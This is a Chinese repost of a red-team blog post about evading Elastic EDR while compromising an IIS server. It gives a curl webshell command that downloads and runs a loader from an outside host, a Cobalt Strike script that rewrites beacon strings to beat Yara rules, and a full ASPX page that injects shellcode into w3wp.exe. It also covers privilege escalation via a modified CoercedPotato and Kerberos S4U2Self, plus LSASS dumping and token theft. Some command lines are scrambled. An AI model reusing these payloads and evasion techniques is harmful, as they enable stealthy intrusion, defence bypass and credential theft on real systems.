第1部分
在最近的一次评估中,我和我的队友的任务是对多个应用程序进行网络安全审查,如果有机会,还可以进行内部渗透测试。
在其中一个应用程序上,我们成功上传了一个执行Windows cmd的aspx webshell,这种参与并不要求我们保密。
这篇博文的目的是重现我们通过 Elastic EDR 监视我们所做的事情。
Web RCE
我们下载了CobaltStrike加载程序并执行它
curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=powershell wget http://xxxx.com/load.exe -outfile C:WindowsTempload.exe'
curl http://website.crash.lab/webshell.aspx --data '70c1cc863a=C:WindowsTempload.exe'
-
Web Shell Detection: Script Process Child of Common Web Processes 因为IIS进程w3wp.exe产生了cmd.exe
-
Malicious Behavior Detection Alert: Suspicious Microsoft IIS Worker Descendant 因为IIS进程的w3wp.exe产生cmd.exe表明Web服务器已被破坏 -
Remote File Download via PowerShell因为wgetPowershell 命令下载我们的加载程序 -
Memory Threat Detection Alert: Windows.Trojan.CobaltStrike 因为Elastic EDR Yara规则在内存中标记了我们的信标 -
Malicious Behavior Detection Alert: Network Module Loaded from Suspicious Unbacked Memory 由于我们的信标存储在无支持的内存中,Elastic EDR捕获了来自此可疑区域的API调用
我们利用的下一步是将我们的权限从本地服务帐户升级到本地管理员。
滥用SeImpersonatePrivilege权限升级到SYSTEM(我们在参与过程中使用了这种方式)
滥用KerberosS4U2Self为具有本地管理员权限的域用户生成服务票据
EoP - SeImpersonatePrivilege
我们使用GodPotato来利用SeImpersonatePrivilege
"cmd /c C:WindowsTempload.exe" execute-assembly /home/user/Tools/Windows/GodPotato-NET4.exe -cmd
-
Malicious Behavior Detection Alert: Microsoft Common Language Runtime Loaded from Suspicious Memory 因为CLR.dll已被利用后临时进程加载 -
Malicious Behavior Detection Alert: AMSI or WLDP Bypass via Memory Patching CobaltStrike AMSI 补丁已被标记
LSASS dump
获得系统权限后,我们启动内置的mimikatz命令来从LSASS转储凭据。
-
LSASS Process Access via Windows API
-
Memory Threat Detection Alert: Windows.Hacktool.Mimikatz -
LSASS Access Attempt from Unbacked Memory
结论
正如我们所看到的,在攻击路径的不同阶段有很多机会检测我们的行为:
-
执行webshell -
通过execute- assembly执行.NET程序集
-
LSASS转储
第2部分
-
第1部分中,我在实验室中重演了运行Elastic EDR代理的场景,我们注意到出现了很多检测。 -
第2部分中,我将展示如何通过使用开源工具和构建我们自己的工具来增强我们的隐形能力。
CobaltStrike修改
https://www.cobaltstrike.com/blog/cobalt-strike-and-yara-can-i-have-your-signature
当您了解Yara规则时,很容易规避它们……可以在此处找到Elastic EDR规则。
https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar
我使用xforcered/BokuLoader(10 月以上版本)来增强Cobalt Strike信标的规避能力。此版本包含调用堆栈欺骗功能,可绕过基于调用堆栈分析的Elastic EDR规则,您可以在这里了解更多信息。
https://github.com/xforcered/BokuLoader
https://dtsec.us/2023-09-15-StackSpoofin/
在Cobalt Strike中包含用户定义的反射加载器之后,我对进行了以下更改以bokuloader.cna绕过Elastic EDR yara规则:
sub boku_strrep {
local('$beacon_dll');
$beacon_dll = $1;
$beacon_dll = strrep($beacon_dll, "ReflectiveLoader", "__BokuLo4d3r____");
$beacon_dll = strrep($beacon_dll, "Microsoft Base Cryptographic Provider v1.0", "13367321236742382543232341241261363163151d");
$beacon_dll = strrep($beacon_dll, "(admin)", "(2omin)");
$beacon_dll = strrep($beacon_dll, "beacon", "b4con5");
$beacon_dll = strrep($beacon_dll, "%s as %s\%s: %d", "%s -> %s\%s: %d");
$beacon_dll = strrep($beacon_dll, "%02d/%02d/%02d %02d:%02d:%02d", "%02d/%02d/%02d>%02d:%02d:%02d");
$beacon_dll = strrep($beacon_dll, "This program cannot be run in DOS mode", "13367321236742383543232341221261363163");
println("DEBUG - change DOS stub");
$beacon_dll = strrep($beacon_dll, "x4Dx5Ax41x52x55x48x89xE5", "x4Dx5Ax41x52x55x48x89xE5x90");
return $beacon_dll;
}
此时,Elastic EDR 不应将 Cobalt Strike Reflective DLL 检测为Windows.Trojan.CobaltStrike.
但是,如果检测到恶意行为,Elastic EDR仍会发出警报:
-
从无支持的内存访问 LSASS 进程 -
从无支持的内存加载 DLL -
……
现在我们有了一个更加隐蔽的信标,我们可以开始攻击Windows服务器了。
Webshell
为此,我制作了一个C#网页,它将Cobalt Strike信标注入当前IIS进程w3wp.exe
<%@ Page Language="c#"%>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Threading.Tasks" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.Collections.Generic" %>
<%@ Import Namespace="System.Linq" %>
<%@ Import Namespace="System.Text" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
/*
Flags and functions import
...
*/
public string ServerSideFunction()
{
byte[] data = new byte[REPLACE_ME] { REPLACE_ME };
IntPtr pHandle = (IntPtr)(-1);
if (pHandle == IntPtr.Zero)
return "OpenProcess failed " + Marshal.GetLastWin32Error();
IntPtr addr = VirtualAllocEx(pHandle, IntPtr.Zero, (uint)data.Length, AllocationType.Commit, AllocationProtect.PAGE_READONLY);
if (addr == IntPtr.Zero)
return "VirtualAllocEx failed";
uint lpflOldProtect = 0;
bool res = false;
res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000004, out lpflOldProtect);
if (res == false)
return "VirtualProtectEx RW failed";
IntPtr sc = Marshal.AllocHGlobal(data.Length);
if (sc == IntPtr.Zero)
return "AllocHGlobal failed";
RtlZeroMemory(sc, data.Length);
UInt32 getsize = 0;
NTSTATUS ntstatus = NtWriteVirtualMemory(pHandle, addr, data, (uint)data.Length, ref getsize);
if (getsize == 0)
return "NtWriteVirtualMemory failed";
res = VirtualProtectEx(pHandle, addr, (uint)data.Length, 0x00000020, out lpflOldProtect);
if (res == false)
return "VirtualProtectEx RX failed";
IntPtr Thread_id = IntPtr.Zero;
IntPtr tHandle = CreateRemoteThread(
pHandle,
IntPtr.Zero,
0,
(IntPtr)0xfff,
IntPtr.Zero,
(uint)CreationFlags.CREATE_SUSPENDED,
out Thread_id);
QueueUserAPC(addr, tHandle, 0);
ResumeThread(tHandle);
CloseHandle(pHandle);
CloseHandle(tHandle);
return "OK";
}
</script>
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252" />
<title>ASP.NET inline</title>
</head>
<body>
<% =ServerSideFunction() %>
</body>
</html>
其作用是:
-
获取当前进程的句柄
-
在进程中分配RW内存 -
将信标写入该内存区域 -
将内存权限更改为RX -
通过APC调用信标
当页面被调用时,我们得到了信标。
在这一步中,我从Elastic EDR获得了零检测。
权限提升
我知道有两种执行权限升级的方法:
SeImpersonateToken利用Potato家族漏洞滥用特权
滥用S4U2SelfKerberos代表具有本地管理员权限的域用户伪造服务票据
两种方法都可以使用:
-
Potato利用触发系统调用并模拟本地帐户 - 这可能会被检测到(不知道有些AV/EDR有没有这方面的检测规则 我最近注意到Elastic EDR有这方面的规则)。此方法适用于未加入域和已加入域的Windows计算机。 -
S4USelf方法非常隐蔽,因为它只使用Kerberos,但它在未加入域的计算机中不可用,并且我们可能需要启用PSRemoting/WinRM,因为我们不想使用 psexec/smbexec/wmiexec/…,这会引发安全警报。
实际上,当域控制器上未强制执行LDAP签名(默认配置)时,存在一种通用的权限升级路径,但我稍后将专门撰写一篇博客文章来讨论这一点。
权限升级 - SeImpersonatePrivilege
https://github.com/Prepouce/CoercedPotato
由于我们不想在磁盘上放置和执行任何内容,因此我将CoercedPotato分叉并“转换”为反射DLL,您可以在之前的博客文章中阅读相关内容。
https://github.com/sokaRepo/CoercedPotatoRDLL
https://sokarepo.github.io/redteam/2023/10/11/create-reflective-dll-for-cobaltstrike.html
当我测试 Reflective DLL 时,我惊讶地发现 Elastic EDR 最近添加了一个恶意行为检测规则,而该规则在一两个月前还不存在…… =)
我认为检测可能基于:
-
使用已知的“恶意”功能CreateProcessAsUser/CreateProcessWithTokenW
-
行为:作为本地服务运行的进程会生成一个SYSTEM进程
如果我们看看CreateProcessAsUserIDA正在做什么:
该函数只是将参数转发给CreateProcessInternalWfrom KernelBase.dll,我们可以在CoercedPotatoRDLL代码中使用它:
typedef BOOL(WINAPI* fnCreateProcessInternalW)(
HANDLE,
LPCWSTR,
LPWSTR,
LPSECURITY_ATTRIBUTES,
LPSECURITY_ATTRIBUTES,
BOOL,
DWORD,
LPVOID,
LPCWSTR,
LPSTARTUPINFOW,
LPPROCESS_INFORMATION
);
fnCreateProcessInternalW CreateProcessInternalW;
CreateProcessInternalW = (fnCreateProcessInternalW)GetProcAddress(
GetModuleHandle(L"kernelbase.dll"),
"CreateProcessInternalW"
);
if (!CreateProcessInternalW(hSystemTokenDup,
g_pwszProcessName,
g_pwszCommandLine,
NULL,
NULL,
g_bInteractWithConsole,
dwCreationFlags,
lpEnvironment,
pwszCurrentDirectory,
&si,
&pi))
wprintf(L"CreateProcessInternalW failed, error = %dn", GetLastError());
else
wprintf(L"CreateProcessInternalW seems OK");
通过这些修改,Elastic EDR不再发出有关权限升级的警报!
权限升级 - S4U2Self
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
一旦我们有了它,我们就可以滥用Kerberos S4U2Self来请求服务票证,该服务票证模拟具有计算机上本地管理员权限的域用户。
不幸的是,我未能仅使用Cobalt Strike成功执行此步骤,因此我在Linux VM上使用了SOCKS代理和Impacket。
echo -n 'ticket...' | base64 -d > web1.kirbi
ticketConverter.py web1.kirbi web1.ccache
export KRB5CCACHE=web1.ccache
clone https://github.com/ThePorgs/impacket/ git
install it
case and upper case for "HTTP" carreful with SPN name, try lower
I skipped the SOCKS proxy part here
"sadmin" -altservice "HTTP/web1.crash.lab" -k -no-pass -dc-ip 10.100.10.5 'crash.lab/web1$' getST.py -self -impersonate
use this to debug
export KRB5_TRACE=/dev/stdout
export KRB5CCNAME=sadmin@[email protected]
if GSS error update /etc/krb5.conf
evil-winrm.rb -i web1.crash.lab -r crash.lab
并以本地管理员身份弹出一个信标。
LSASS 凭证转储
当我们尝试使用内置Mimikatz命令提取凭据时,无法访问该进程。
如果我们尝试使用nanodump,我们会遇到相同的访问问题。
https://github.com/fortra/nanodump
如果我们关闭Credentials hardening,我们可以成功转储LSASS进程,而不会收到来自Elastic EDR的任何警报。
LSASS 转储的替代方案
为了执行以下Keberos交互,我使用Kerbeus-BOF,但也可以使用nanorobeus(Kerbeus-BOF实际上基于nanorobeus)。
https://github.com/RalfHacker/Kerbeus-BOF
https://github.com/wavvs/nanorobeus/
这里我们转储属于sadmin用户的所有TGT。
如果我们不再有任何有效的TGT,我们可以查找在目标用户下运行的进程。
然后窃取其中一个进程的令牌。
并用它来请求TGT
从这里开始,我们可以代表sadmin用户采取行动并尝试在网络中横向移动。
结论
原文地址:
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabilities-part1.html
https://sokarepo.github.io/redteam/2024/01/04/increase-your-stealth-capabili
文章来源:潇湘信安
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):绕过Elastic EDR提高你的隐身能力
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论